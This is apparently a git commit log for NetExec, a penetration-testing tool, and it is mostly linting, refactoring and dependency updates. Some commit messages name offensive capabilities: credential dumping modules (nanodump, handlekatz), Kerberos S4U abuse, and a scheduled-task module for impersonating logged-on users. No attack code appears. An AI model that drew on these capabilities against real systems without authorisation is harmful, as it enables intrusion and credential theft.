XiaoliChan feac7f07bf [ssh] Neff review I
Signed-off-by: XiaoliChan <[email protected]>
2023-10-18 22:15:38 +08:00
XiaoliChan d2ed2aaf9e [ssh] conflict fix
Signed-off-by: XiaoliChan <[email protected]>
2023-10-18 20:13:43 +08:00
XiaoliChan ac0fa8c3a0 [ssh] conflict fix
Signed-off-by: XiaoliChan <[email protected]>
2023-10-18 20:12:25 +08:00
Alex 1879107c8e Merge pull request #77 from Pennyw0rth/dependabot/pip/urllib3-2.0.7
Bump urllib3 from 2.0.6 to 2.0.7
2023-10-18 13:08:04 +02:00
Alexander Neff ffeb2063ca Increase parallel test runs and fix description of test cli 2023-10-18 12:58:17 +02:00
XiaoliChan d61e78a1c6 Merge remote-tracking branch 'upstream/develop' into connection-miss-port 2023-10-18 12:04:21 +08:00
Alexander Neff b3e1a0d967 Add ruff version output to cli 2023-10-18 00:00:55 +02:00
Alexander Neff dd3a285049 Fix lint cli 2023-10-17 23:58:21 +02:00
Alexander Neff ab5452d7b9 Use poetry to run ruff 2023-10-17 23:56:18 +02:00
Alexander Neff 0cfdbd46a6 Update dependencies from dev 2023-10-17 23:43:30 +02:00
Alexander Neff 1ce4a5eac0 Update dependencies 2023-10-17 23:34:38 +02:00
dependabot[bot] 4e51bfb5aa Bump urllib3 from 2.0.6 to 2.0.7
Bumps [urllib3](https://github.com/urllib3/urllib3) from 2.0.6 to 2.0.7.
- [Release notes](https://github.com/urllib3/urllib3/releases)
- [Changelog](https://github.com/urllib3/urllib3/blob/main/CHANGES.rst)
- [Commits](https://github.com/urllib3/urllib3/compare/2.0.6...2.0.7)

---
updated-dependencies:
- dependency-name: urllib3
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-10-17 21:15:55 +00:00
Marshall Hallenbeck 8056ef8e28 fix(kerberos): pass kdc_host on kerberos connection 2023-10-17 14:58:22 -04:00
Marshall Hallenbeck 14d6e9bc3e fix: remove ClassVar to be revisited later 2023-10-17 14:58:22 -04:00
Marshall Hallenbeck a3b0428f8d fix(tests): add in space so command is correct 2023-10-17 14:58:22 -04:00
Marshall Hallenbeck 98617194ac Merge branch 'develop' into marshall_cleanup
Signed-off-by: Marshall Hallenbeck <[email protected]>
2023-10-17 14:32:50 -04:00
Marshall Hallenbeck d28dc10e0f fix(ruff): add back in res variable since it's called in the following debug and add noqa for F841 on it since it will get auto-fixed 2023-10-17 14:30:24 -04:00
Marshall Hallenbeck 2854aa010d ruff: fix a single RUF012 and then ignore it for future use 2023-10-17 14:19:42 -04:00
Marshall Hallenbeck d10e6492fb Merge branch 'develop' into neff-module-sort 2023-10-17 11:32:24 -04:00
Marshall Hallenbeck 84d55aa264 ruff: add LOG (no fixes) and RUF and auto-fix 2023-10-16 12:54:57 -04:00
Marshall Hallenbeck b39389f122 ruff: fix E261 - spaces before inline comments 2023-10-16 12:52:45 -04:00
Marshall Hallenbeck a7b95f2fc8 ruff: add refurb (FURB) and auto-fix 2023-10-16 12:48:15 -04:00
Alexander Neff b33f67792d Simplify code and remove unused variables 2023-10-15 20:35:45 +02:00
Alexander Neff 052bfa3c1a Resolve merge conflicts 2023-10-15 20:23:12 +02:00
Marshall Hallenbeck e77ecd31bd ruff: add F841 back in and auto-fix 2023-10-15 13:31:51 -04:00
Alexander Neff e672dce25f Convert for loops into list comprehensions 2023-10-15 19:21:14 +02:00
Alexander Neff 2391d1d5ba Fix poetry.lock file 2023-10-15 18:24:29 +02:00
Alexander Neff dbc1feeadd Replace for loops with list comprehensions 2023-10-15 18:24:09 +02:00
Alex fb886295e1 Merge branch 'develop' into main 2023-10-15 17:30:15 +02:00
Roman Rivas II f6cd7934b3 Merge branch 'Pennyw0rth:main' into main 2023-10-15 08:16:47 -07:00
Roman Rivas II f26b676c8e Update ftp.py
Signed-off-by: Roman Rivas II <[email protected]>
2023-10-15 08:14:15 -07:00
Roman Rivas II 901b8dee80 Update proto_args.py
Signed-off-by: Roman Rivas II <[email protected]>
2023-10-15 08:12:21 -07:00
Alex d1aec0611e Merge pull request #30 from Pennyw0rth/marshall-dependency-update-9-19-2023
Update dependencies (including impacket fork) for v1.1.0
2023-10-15 17:02:55 +02:00
Alexander Neff dfafcb2975 Add module sorting when listing modules by privileges needed for execution 2023-10-15 10:59:22 -04:00
Alex 0f756f7558 Merge branch 'develop' into marshall-dependency-update-9-19-2023 2023-10-15 16:38:40 +02:00
Alexander Neff 0e4c545bc0 Formating 2023-10-15 09:09:26 -04:00
Marshall Hallenbeck e043e0704e refactor: list comprehension, better header skip, and update docstring 2023-10-15 07:28:58 -04:00
Marshall Hallenbeck 44b0619f44 refactor: list comprehension 2023-10-15 07:28:37 -04:00
Marshall Hallenbeck 6841537347 refactor(daclread): add additional debug, update docstrings, refactor to use list comprehension 2023-10-15 07:18:21 -04:00
Marshall Hallenbeck a90898dba6 refactor: use list comprehension 2023-10-15 06:56:43 -04:00
Marshall Hallenbeck 528248dd31 refactor(samrfunc): use list/dict comprehension 2023-10-15 06:56:21 -04:00
Marshall Hallenbeck 94b515bfeb ruff: ignore PERF203 - only for pre-3.11 and may cause issues if refactored 2023-10-15 06:50:06 -04:00
Marshall Hallenbeck fd433b1227 update logging string 2023-10-15 06:49:41 -04:00
Marshall Hallenbeck 8c73dec431 refactor(wmi): fix try except in forloop, add docstring, fix wql variable, and update logging to not cast 2023-10-15 06:41:54 -04:00
Marshall Hallenbeck b3ea011d3b remove string import 2023-10-15 06:30:52 -04:00
Marshall Hallenbeck cd3f3e9347 refactor: reference ascii_lowercase directly 2023-10-15 06:30:29 -04:00
Marshall Hallenbeck 3e056659d8 refactor: use list comprehension for domains retrieved - PERF401 2023-10-14 22:16:59 -04:00
Marshall Hallenbeck 467882a759 refactor: move try except outside forloops - PERF203 2023-10-14 22:15:24 -04:00
Marshall Hallenbeck bc0254d97e refactor: clean up parse_perms logic 2023-10-14 22:13:03 -04:00
Marshall Hallenbeck 5b5ed0c880 refactor: improve character randomization 2023-10-14 21:58:06 -04:00
Marshall Hallenbeck f1af5b8959 ruff: run previously unincluded PIE790 fixes in ruff 0.0.292 2023-10-14 21:53:46 -04:00
Marshall Hallenbeck 0cb67d3016 ruff: add PERF 2023-10-14 21:53:23 -04:00
Marshall Hallenbeck 59767febce refactor: move try outside forloop 2023-10-14 21:53:06 -04:00
Marshall Hallenbeck 201b3285c4 ruff: pin 292 version since older versions dont display all checks 2023-10-14 21:50:48 -04:00
Marshall Hallenbeck 2b34359103 ruff: add ERA001 ignores 2023-10-14 18:42:10 -04:00
Marshall Hallenbeck 6fae02aee0 ruff: add flynt (FLY) and auto-fix 2023-10-14 18:41:08 -04:00
Marshall Hallenbeck 847f8493ee ruff: remove Pylint from ruff 2023-10-14 18:39:05 -04:00
Marshall Hallenbeck 21a8707e9e ruff: add Pylint (PL) and auto-run 2023-10-14 18:36:20 -04:00
Marshall Hallenbeck 82e5d78007 ruff: eradicate commented out code 2023-10-14 18:34:09 -04:00
Marshall Hallenbeck b4475f467b ruff: add eradicate (ERA) 2023-10-14 18:33:57 -04:00
Marshall Hallenbeck 378f66087d ruff: add flake8-tidy-imports (TID) 2023-10-14 18:27:07 -04:00
Marshall Hallenbeck adeddb756e refactor remaining flake8-simplify (SIM) issues 2023-10-14 18:26:24 -04:00
Marshall Hallenbeck cd1b4680ab refactor: simplify logic 2023-10-14 18:13:37 -04:00
Marshall Hallenbeck c1585a5609 refactor: simplify logic again 2023-10-14 18:11:06 -04:00
Marshall Hallenbeck 53af86a557 refactor: use with open for file writing 2023-10-14 18:08:43 -04:00
Marshall Hallenbeck e03e3a105d refactor: use with open for file opening 2023-10-14 17:57:35 -04:00
Marshall Hallenbeck 3a27363c35 refactor: use with for file open 2023-10-14 17:53:01 -04:00
Marshall Hallenbeck c9b325a80c refactor: update if logic 2023-10-14 17:48:05 -04:00
Marshall Hallenbeck 7a8756d692 add noqa for SIM115 2023-10-14 17:47:51 -04:00
Marshall Hallenbeck 4d2ab762bd refactor: simplify logic 2023-10-14 17:44:52 -04:00
Marshall Hallenbeck f3a358fd82 simplify logic and add additional debug statements 2023-10-14 17:36:47 -04:00
Marshall Hallenbeck 276e6c7d59 fix(tests): properly reference test passwords file 2023-10-14 16:32:24 -04:00
Marshall Hallenbeck 39b0ca68a3 fix: ftp proto name 2023-10-14 16:28:26 -04:00
Marshall Hallenbeck cdc8bdbc77 fix: remove extra param added erroneously 2023-10-14 15:56:34 -04:00
Marshall Hallenbeck d8b29312b7 ruff: add flake8-simplify (SIM) and auto-fix 2023-10-14 15:56:22 -04:00
Marshall Hallenbeck cf637968fe fix: ftp class name 2023-10-14 15:52:55 -04:00
Marshall Hallenbeck 9a4dbf15cf tests: add --poetry parameter to prepend 'poetry run' before commands 2023-10-14 14:29:01 -04:00
Marshall Hallenbeck 8f5e74240f ruff: exclude RET505-508 2023-10-14 14:19:23 -04:00
Marshall Hallenbeck cdcde5a91b ruff: add flake8-return (RET) and auto-run 2023-10-14 14:16:28 -04:00
Marshall Hallenbeck 781afc9c65 ruff: add flake8-raise (RSE) and auto-run 2023-10-13 15:27:34 -04:00
Marshall Hallenbeck ae14929faf ruff: add flake8-quotes (Q) and auto-run 2023-10-13 15:26:57 -04:00
Marshall Hallenbeck 008b99a28b ruff: add flake8-pytest-style (PT) and auto-run 2023-10-13 15:25:36 -04:00
Marshall Hallenbeck 916c7390c6 ruff: add flake8-pie (PIE) and auto-run 2023-10-13 14:27:53 -04:00
Marshall Hallenbeck 9b7d2cf5d4 ruff: add flake8-import-conventions (ICN) 2023-10-13 14:20:25 -04:00
Marshall Hallenbeck d9f2db1a30 ruff: manual flake8-implicit-str-concat (ISC) fixes 2023-10-13 14:19:39 -04:00
Marshall Hallenbeck 0f93876b54 ruff: auto-run flake8-implicit-str-concat (ISC) 2023-10-13 11:23:44 -04:00
Marshall Hallenbeck dcc724118f ruff: auto-run flake8-comprehensions (C4) 2023-10-13 11:21:20 -04:00
Marshall Hallenbeck 3c4d9cc4bb ruff: change lint workflow to just run ruff and rely on pyproject.toml 2023-10-13 11:20:53 -04:00
Marshall Hallenbeck e3d6622dee remove redundant paranthesis 2023-10-13 11:20:17 -04:00
XiaoliChan 0ef92f0a04 [ssh] update pyproject.toml
Signed-off-by: XiaoliChan <[email protected]>
2023-10-13 20:56:05 +08:00
XiaoliChan fbe9c9f3d9 [connection.py] add 'self.port' & improve gethost_addrinfo
Signed-off-by: XiaoliChan <[email protected]>
2023-10-13 10:46:45 +08:00
Marshall Hallenbeck 40f557b8e9 ruff: fix flake8-builtins (A) issues 2023-10-12 17:34:01 -04:00
Marshall Hallenbeck 7edc28359c fix(tests): re-add mistakenly removed tests 2023-10-12 17:24:35 -04:00
Marshall Hallenbeck bfd32f1910 ruff: manually fix flake8-bugbear issues 2023-10-12 17:23:21 -04:00
Marshall Hallenbeck 4045bebd77 ruff: auto flake8-bugbear, see B006 mutable-argument-default for function param changes 2023-10-12 17:17:20 -04:00
Marshall Hallenbeck 2d20b220ce ruff: add flake8-bugbear 2023-10-12 17:14:20 -04:00
sandw1ch 0b7756f3f6 Merge branch 'develop' into main
Signed-off-by: sandw1ch <[email protected]>
2023-10-12 16:11:23 -05:00
Marshall Hallenbeck 7940fb6fe4 ruff: add flake8-async (ASYNC) 2023-10-12 17:09:49 -04:00
Marshall Hallenbeck d080a96a88 ruff: add flake8-2020 (YTT) 2023-10-12 17:08:08 -04:00
Marshall Hallenbeck 4f5a89262c ruff: remove encoding 2023-10-12 17:07:40 -04:00
Marshall Hallenbeck b24b9210e4 ruff: pyupgrade (UP) ruff changes 2023-10-12 17:06:04 -04:00
Marshall Hallenbeck adc59ffaaa Merge remote-tracking branch 'origin/develop' into marshall_cleanup 2023-10-12 17:00:02 -04:00
Marshall Hallenbeck 66e6c95f0d Merge pull request #71 from Pennyw0rth/XiaoliChan-nanodump
Xiaoli chan nanodump
2023-10-12 16:55:23 -04:00
Marshall Hallenbeck ba5db57ac9 Merge branch 'develop' into XiaoliChan-nanodump 2023-10-12 16:50:20 -04:00
Marshall Hallenbeck ba9a961916 Merge pull request #69 from Pennyw0rth/revert-67-nanodump
Revert "[nanodump] fix error with temporary path"
2023-10-12 16:36:20 -04:00
Marshall Hallenbeck f6fed70894 Revert "[nanodump] fix error with temporary path" 2023-10-12 16:28:36 -04:00
Marshall Hallenbeck 2cf6c8c248 Merge pull request #67 from XiaoliChan/nanodump
[nanodump] fix error with temporary path
2023-10-12 16:28:28 -04:00
Marshall Hallenbeck 007d09a390 fix: inform user if msol.ps1 file doesnt exist 2023-10-12 16:04:22 -04:00
Marshall Hallenbeck d638b17c44 fix: inform user if impersonate file doesnt exist 2023-10-12 16:03:37 -04:00
Marshall Hallenbeck 25e4248ccb fix: inform user if handlekatz file doesnt exist 2023-10-12 16:01:54 -04:00
Marshall Hallenbeck b01384d1ec fix error string 2023-10-12 15:58:31 -04:00
Marshall Hallenbeck 8c51b3722a fix: dont throw an exception right after catching it 2023-10-12 15:55:28 -04:00
Marshall Hallenbeck 9052470a5b fix: properly handle connection issue to bolt and let user know 2023-10-12 15:49:57 -04:00
Marshall Hallenbeck 335e6c9755 ruff: manually fixed pydocstyle ruff alerts and add exclusions 2023-10-12 15:41:13 -04:00
Marshall Hallenbeck b002336680 ruff: fix pydocstyle via ruff 2023-10-12 15:13:16 -04:00
Marshall Hallenbeck f812ea1b4a ruff: dont require docstring to end in punctuation and allow empty docstring (for now) 2023-10-12 15:11:51 -04:00
Marshall Hallenbeck 2b50e9b86b ruff: add pydocstyle rules and ignores 2023-10-12 15:09:06 -04:00
Marshall Hallenbeck c9112b1c13 ruff: add quote flake8 rules and re-run ruff 2023-10-12 14:50:36 -04:00
Marshall Hallenbeck 52a1a7a230 Merge branch 'marshall_cleanup' of https://github.com/Pennyw0rth/NetExec into marshall_cleanup 2023-10-12 14:37:37 -04:00
Marshall Hallenbeck 76ac0f7f2b fix: change conflict resolution I messed up and remove ruff quote section, since it was causing issues running ruff check 2023-10-12 14:37:32 -04:00
Marshall Hallenbeck a295db84dd Merge branch 'develop' into marshall_cleanup
Signed-off-by: Marshall Hallenbeck <[email protected]>
2023-10-12 14:31:11 -04:00
Marshall Hallenbeck f61d068cd2 ruff: remove unnecessary f string 2023-10-12 14:30:26 -04:00
Marshall Hallenbeck 35333504ea fix: remove extra Exception 2023-10-12 14:30:03 -04:00
Marshall Hallenbeck 6c48020544 Merge branch 'develop' into marshall-dependency-update-9-19-2023 2023-10-12 14:26:54 -04:00
Marshall Hallenbeck 4eb2c08d73 Merge branch 'develop' into ssh-improv 2023-10-12 14:26:35 -04:00
Marshall Hallenbeck 4a09852aa2 Merge pull request #57 from Pennyw0rth/ascii-art
Add ascii art to cli
2023-10-12 14:26:04 -04:00
Marshall Hallenbeck 6e39bdd96a Merge branch 'develop' into ascii-art 2023-10-12 14:07:01 -04:00
Marshall Hallenbeck 95dd61b2ea Merge branch 'develop' into marshall-dependency-update-9-19-2023 2023-10-12 14:05:15 -04:00
Marshall Hallenbeck 33d2dc2785 Merge branch 'marshall_cleanup' of https://github.com/Pennyw0rth/NetExec into marshall_cleanup 2023-10-12 11:36:16 -04:00
Marshall Hallenbeck 54bddb50fa fix: remove redundant Except 2023-10-12 11:36:05 -04:00
Marshall Hallenbeck bbc661ba38 Merge branch 'develop' into marshall_cleanup
Signed-off-by: Marshall Hallenbeck <[email protected]>
2023-10-12 11:17:46 -04:00
Marshall Hallenbeck f573f7f2aa Merge branch 'marshall_cleanup' of https://github.com/Pennyw0rth/NetExec into marshall_cleanup 2023-10-12 11:13:44 -04:00
Marshall Hallenbeck 5cf9f34e1a Merge branch 'develop' into main 2023-10-12 11:01:28 -04:00
zblurx b7da5aa597 Update nanodump.py 2023-10-12 15:39:53 +02:00
zblurx dd55907929 update e2e 2023-10-12 14:39:28 +02:00
zblurx dd18ef1752 Added support for S4U2Self only 2023-10-12 12:02:34 +02:00
zblurx b7d6a987c9 Merge branch 'nanodump' 2023-10-12 11:37:53 +02:00
zblurx ac8067bc77 fix nanodump 2023-10-12 11:35:31 +02:00
XiaoliChan ea8cdcceef [nanodump] zblurx: review I
Signed-off-by: XiaoliChan <[email protected]>
2023-10-12 17:25:32 +08:00
XiaoliChan 784c42b674 [nanodump] fix error with temporary path
Signed-off-by: XiaoliChan <[email protected]>
2023-10-12 14:48:44 +08:00
sandw1ch 50f2e5d1c1 sed "s/'/\"/g"
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 17:23:12 -05:00
sandw1ch 47a158fdc2 Update e2e_commands.txt
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 16:09:38 -05:00
sandw1ch 2e0a73c225 Update and rename get_fgpp.py to pso.py
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 16:07:27 -05:00
sandw1ch bab6377101 Delete nxc/modules/pso.py
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 16:06:54 -05:00
sandw1ch 9a4594ea40 Update get_fgpp.py
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 15:58:00 -05:00
sandw1ch 6f8143136c Update get_fgpp.py
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 15:40:13 -05:00
sandw1ch 2915a54811 Update get_fgpp.py
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 14:26:36 -05:00
sandw1ch 0d5030be81 Update poetry.lock
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 13:37:51 -05:00
sandw1ch cdced86af4 Update e2e_commands.txt to include get_fgpp
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 13:36:39 -05:00
sandw1ch cbefc31a04 Update pyproject.toml to include dateutil
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 13:30:43 -05:00
sandw1ch e898c25716 Create get_fgpp.py
Signed-off-by: sandw1ch <[email protected]>
2023-10-10 13:18:12 -05:00
Alex 314b7f6a81 Merge pull request #54 from Dfte/main 2023-10-10 18:59:41 +02:00
Alex 444845c7e2 Merge branch 'develop' into main 2023-10-10 06:58:37 -04:00
Alex 653cec7993 Merge pull request #58 from bongobongoland/develop
Update enum_av.py
2023-10-08 16:34:02 -04:00
Alexander Neff 2ef51d642a Fix indentation and formating 2023-10-08 16:20:30 -04:00
Alex 3384e9a28f Merge branch 'develop' into main 2023-10-08 14:54:11 -04:00
Alexander Neff ae417e5d3a Autoformat 2023-10-08 14:52:37 -04:00
Alexander Neff 669e0b45e7 Replace str(e).find with 'string' in str(e) 2023-10-08 14:50:59 -04:00
Alexander Neff b2c73b05d1 Added fail messages for not existing users and users having no active session, stop printing empty output messages. 2023-10-08 07:56:05 -04:00
Xiaoli Chan 84a41b72a2 [SSH] Remove useless package
Signed-off-by: Xiaoli Chan <[email protected]>
2023-10-08 00:03:21 +08:00
Xiaoli Chan 95ccfca992 [SSH] Logic fix
Signed-off-by: Xiaoli Chan <[email protected]>
2023-10-08 00:02:08 +08:00
Xiaoli Chan ea62e42526 [SSH] improve login failed output
Signed-off-by: Xiaoli Chan <[email protected]>
2023-10-07 23:35:36 +08:00
Xiaoli Chan c9af18df67 [SSH] fix private key with passphrase login
Signed-off-by: Xiaoli Chan <[email protected]>
2023-10-07 23:05:51 +08:00
Xiaoli Chan cec042d8ee [SSH] fix private key with passphrase login
Signed-off-by: Xiaoli Chan <[email protected]>
2023-10-07 23:03:23 +08:00
XiaoliChan 78de09be8d [ssh] Neff review I
Signed-off-by: XiaoliChan <[email protected]>
2023-10-07 16:37:45 +08:00
XiaoliChan d21bf5e463 [ssh] Marshall review I
Signed-off-by: XiaoliChan <[email protected]>
2023-10-07 15:36:00 +08:00
XiaoliChan 4b62a53790 Merge remote-tracking branch 'upstream/main' into ssh-improv 2023-10-07 15:08:34 +08:00
Marshall Hallenbeck 85d052e7e4 Merge branch 'develop' into marshall-dependency-update-9-19-2023
Signed-off-by: Marshall Hallenbeck <[email protected]>
2023-10-06 20:20:13 -04:00
Marshall Hallenbeck c2f4c5d9d3 Merge branch 'develop' into marshall_cleanup
Signed-off-by: Marshall Hallenbeck <[email protected]>
2023-10-06 13:47:35 -04:00
Marshall Hallenbeck 389b381584 cleanup(ruff): finish cleaning up E722 (do not euse bare except) 2023-10-06 12:47:49 -04:00
Marshall Hallenbeck b38ad265af formatting 2023-10-06 12:43:34 -04:00
Marshall Hallenbeck 95aaac7f68 cleanup: fix F403 from Ruff (import *) 2023-10-06 12:41:00 -04:00
Marshall Hallenbeck 165fa508ed bloodhound: fix imports 2023-10-06 12:31:07 -04:00
Marshall Hallenbeck 84358bb480 mssql: fix indentation 2023-10-06 12:30:30 -04:00
Marshall Hallenbeck f66923b296 ldap: fix truthiness check 2023-10-06 12:29:36 -04:00
Marshall Hallenbeck 4ec4672b87 ldap: fix error output string 2023-10-06 12:28:00 -04:00
Alex e24601b345 Fix #48 tries to falsly add creds to bloodhound using --laps 2023-10-06 12:22:27 -04:00
Marshall Hallenbeck 7620112657 ruff cleanup 2023-10-06 12:22:27 -04:00
Alex 6a0646067c Remove old NotImplementedError 2023-10-06 12:22:27 -04:00
Marshall Hallenbeck 386208a49c fix string interpolation 2023-10-06 12:22:27 -04:00
Marshall Hallenbeck 11ddfd9c79 ruff autoformat to clean up all the single quotes and other bad formatting 2023-10-06 12:22:25 -04:00
Marshall Hallenbeck 9ae9d01e5a update ruff version 2023-10-06 12:21:39 -04:00
Marshall Hallenbeck 2cae1dcaa7 no need for gitmodules anymore 2023-10-06 12:21:39 -04:00
Marshall Hallenbeck 2805dc6a70 remove flake 2023-10-06 12:21:39 -04:00
Marshall Hallenbeck 2dd8ea9ef0 clean up wireless module 2023-10-06 12:21:39 -04:00
Marshall Hallenbeck 51c8ee3f2f cleanup winscp_dump module 2023-10-06 12:21:39 -04:00
Marshall Hallenbeck 7deee30942 cleanup wdigest module 2023-10-06 12:21:39 -04:00
Marshall Hallenbeck a956d2cae8 fix variable naming for file listing 2023-10-06 12:21:39 -04:00
Marshall Hallenbeck e9a7fda619 cleanup 2023-10-06 12:21:39 -04:00
Marshall Hallenbeck e84a52c859 refactor(wcc): update wcc module quotes and refactor some formatting 2023-10-06 12:21:39 -04:00
Marshall Hallenbeck 3655cbff82 clean up ntdsutil module 2023-10-06 12:21:39 -04:00
Marshall Hallenbeck 9598e971da clean up rdp module 2023-10-06 12:21:39 -04:00
Marshall Hallenbeck 5f0ed02364 add F841 (variable assigned but never used) to ruff exclude 2023-10-06 12:21:39 -04:00
Marshall Hallenbeck 84b1e41eb7 properly use fstring 2023-10-06 12:21:39 -04:00
Marshall Hallenbeck 6580604246 properly import specific ctypes and update description 2023-10-06 12:21:39 -04:00
Marshall Hallenbeck f402c4546a fix ignore rule (E->F) 2023-10-06 12:21:39 -04:00
Marshall Hallenbeck cfbdcb3cb0 More cleanup 2023-10-06 12:21:32 -04:00
Marshall Hallenbeck 7e7e86725c remove old urllib3 error ignore 2023-10-06 12:21:06 -04:00
Marshall Hallenbeck 63a761c760 fix exception handle and add TODO 2023-10-06 12:21:06 -04:00
Marshall Hallenbeck ddc5c2ea7b documentation(mssql_priv): add docstrings and a bit of cleanup 2023-10-06 12:21:06 -04:00
Marshall Hallenbeck 064921b9ee refactor(ms17-010): clean up and add full AI-generated comments to MS17-010 Module, since there's a lot of byte-work 2023-10-06 12:21:06 -04:00
Marshall Hallenbeck 9ec7cd6fa1 do some cleanup for hash_spider for #38 2023-10-06 12:21:06 -04:00
Marshall Hallenbeck 6c68100c8a clean up appcmd.py 2023-10-06 12:21:06 -04:00
Marshall Hallenbeck 28e25c560b ignore additional linting rule 2023-10-06 12:21:06 -04:00
Marshall Hallenbeck 0ca3827d91 add back in more checks for ruff 2023-10-06 12:21:06 -04:00
Marshall Hallenbeck 10b3cdd115 fix running ruff 2023-10-06 12:21:06 -04:00
Marshall Hallenbeck 3ab397f45a actually add the linter workflow 2023-10-06 12:21:06 -04:00
Marshall Hallenbeck 1b97cebac3 fix escaping in smbexec 2023-10-06 12:21:06 -04:00
Marshall Hallenbeck 5ec969c733 more cleanup 2023-10-06 12:21:06 -04:00
Marshall Hallenbeck 110e6473d3 clean up find-computer module 2023-10-06 12:20:40 -04:00
Marshall Hallenbeck a8b14cee7f refactor(add_computer): refactor and add docstrings to add_computer module 2023-10-06 12:19:26 -04:00
Marshall Hallenbeck e80c4807a6 fix exception handling 2023-10-06 12:19:26 -04:00
Marshall Hallenbeck f6812f2eb4 cleanup wmiexec_event code 2023-10-06 12:19:26 -04:00
Marshall Hallenbeck 8ec3e62bfb fix exception handling 2023-10-06 12:19:26 -04:00
Marshall Hallenbeck ffb9dd3f91 fix exception handling and remove unused function 2023-10-06 12:19:26 -04:00
Marshall Hallenbeck 45fdc26847 automatic ruff fixing 2023-10-06 12:19:22 -04:00
Marshall Hallenbeck a1c0080d82 fix type check and add docstrings to powershell.py 2023-10-06 12:17:17 -04:00
Marshall Hallenbeck 345a0748b3 cleanup: fix variable names in query_db_cred 2023-10-06 12:17:17 -04:00
Marshall Hallenbeck 182c7a5a01 doc(connection.py): add docstring for call_modules 2023-10-06 12:17:17 -04:00
Marshall Hallenbeck f1f34b3c72 update exception handling and add docstring to call_cmd_args. also make variables easier to understand 2023-10-06 12:17:17 -04:00
Marshall Hallenbeck 01c530391f update exception handling 2023-10-06 12:17:17 -04:00
Marshall Hallenbeck 5ab24c1f47 fix exception handling and printing in build collector 2023-10-06 12:17:17 -04:00
Marshall Hallenbeck f4d5a5668b smbexec: fix escaping sequence 2023-10-06 12:17:17 -04:00
Marshall Hallenbeck a2dc03773d nxcdb: fix escaping sequence 2023-10-06 12:17:17 -04:00
Marshall Hallenbeck 7f5a6f4f50 fix escaping sequence in log 2023-10-06 12:17:16 -04:00
Marshall Hallenbeck b0b36ede87 rename nxc PATH variable 2023-10-06 12:17:16 -04:00
Marshall Hallenbeck 39cdcc12bb remove unused code 2023-10-06 12:17:16 -04:00
Marshall Hallenbeck 193ef25748 remove unnecessary imports 2023-10-06 12:17:16 -04:00
Defte 0523208c4e Update schtask_as.py
- Sed "g/atexec/schtask_as/s"
- Better error output (unknown username, task has not run)
- Added the output.decode("cp437") for french caracters

Signed-off-by: Defte <[email protected]>
2023-10-06 17:05:16 +02:00
Alex 81c9803ada Merge branch 'develop' into ascii-art 2023-10-05 19:10:22 -04:00
bongobongoland e40d4f2a3d Update enum_av.py
Signed-off-by: bongobongoland <[email protected]>
2023-10-06 10:04:59 +11:00
Alexander Neff d81adbb28a Update poetry.lock 2023-10-05 18:22:12 -04:00
Alex deb3c89efa Merge pull request #53 from Pennyw0rth/dependabot/pip/urllib3-2.0.6
Bump urllib3 from 2.0.4 to 2.0.6
2023-10-05 18:10:35 -04:00
Alexander Neff d971e0d5ab Add ascii art to cli 2023-10-05 18:05:14 -04:00
Alexander Neff 052cbe28ba Fix tab indention error in ldap.py 2023-10-05 19:36:03 +02:00
Marshall Hallenbeck 5e80ebd8dc Merge branch 'develop' into marshall_cleanup 2023-10-05 10:01:26 -04:00
Defte 429a6a4e18 Update schtask_as.py
Fix typo

Signed-off-by: Defte <[email protected]>
2023-10-05 12:03:26 +02:00
Defte 16cfaec75d Update schtask_as.py
Modify the variable name to schtask_as
Change the description

Signed-off-by: Defte <[email protected]>
2023-10-05 11:58:58 +02:00
Defte cba97cd068 Rename schtask.py to schtask_as.py
Rename the module to prevent confusion.

Signed-off-by: Defte <[email protected]>
2023-10-05 11:24:50 +02:00
Defte 116c8f7833 Update schtask.py
Add @Shad0wC0ntr0ller snippet to remove hardcoded date.

Signed-off-by: Defte <[email protected]>
2023-10-05 11:15:10 +02:00
Alex dec35a526b Merge pull request #49 from Pennyw0rth/neff-bugfixes 2023-10-04 02:55:42 +02:00
Alex 9a74343497 Move oscrypto fork to Pennyw0rth 2023-10-03 23:19:10 +02:00
zblurx 73fe842064 update e2e_tests 2023-10-03 19:44:54 +02:00
zblurx 1148018394 Update codec management 2023-10-03 18:40:07 +02:00
Defte bcbfad6a18 Create schtask.py
Add the schtask module that can be used to impersonate loggedon users and run commands on their behalf.

Signed-off-by: Defte <[email protected]>
2023-10-03 17:52:06 +02:00
romanrii f2d0178529 Added function tests + test file for FTP upload/download testing 2023-10-03 04:09:13 +00:00
dependabot[bot] e033d22b5d Bump urllib3 from 2.0.4 to 2.0.6
Bumps [urllib3](https://github.com/urllib3/urllib3) from 2.0.4 to 2.0.6.
- [Release notes](https://github.com/urllib3/urllib3/releases)
- [Changelog](https://github.com/urllib3/urllib3/blob/main/CHANGES.rst)
- [Commits](https://github.com/urllib3/urllib3/compare/2.0.4...2.0.6)

---
updated-dependencies:
- dependency-name: urllib3
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2023-10-03 00:21:38 +00:00
Marshall Hallenbeck a44e498470 Merge branch 'develop' into s4u 2023-10-02 17:55:09 -04:00
Marshall Hallenbeck 708f82a04b Merge branch 'develop' into marshall-dependency-update-9-19-2023 2023-10-02 17:53:00 -04:00
Marshall Hallenbeck a2584471c9 Merge branch 'develop' into marshall_cleanup
Signed-off-by: Marshall Hallenbeck <[email protected]>
2023-10-02 17:51:52 -04:00
Marshall Hallenbeck fe91e7535e Merge branch 'develop' into main 2023-10-02 17:48:35 -04:00
Marshall Hallenbeck d217840dbf Merge branch 'main' into neff-bugfixes 2023-10-02 17:32:51 -04:00
Roman Rivas II 5207288b13 Merge pull request #1 from Pennyw0rth/main
update
2023-09-30 23:31:26 -07:00
zblurx 4c419b5e08 implement s4u abuse 2023-09-29 19:21:59 +02:00
Marshall Hallenbeck d54b82e388 Merge branch 'main' into main 2023-09-28 15:40:09 -04:00
Alex efb510d49b Fix #48 tries to falsly add creds to bloodhound using --laps 2023-09-28 00:32:00 +02:00
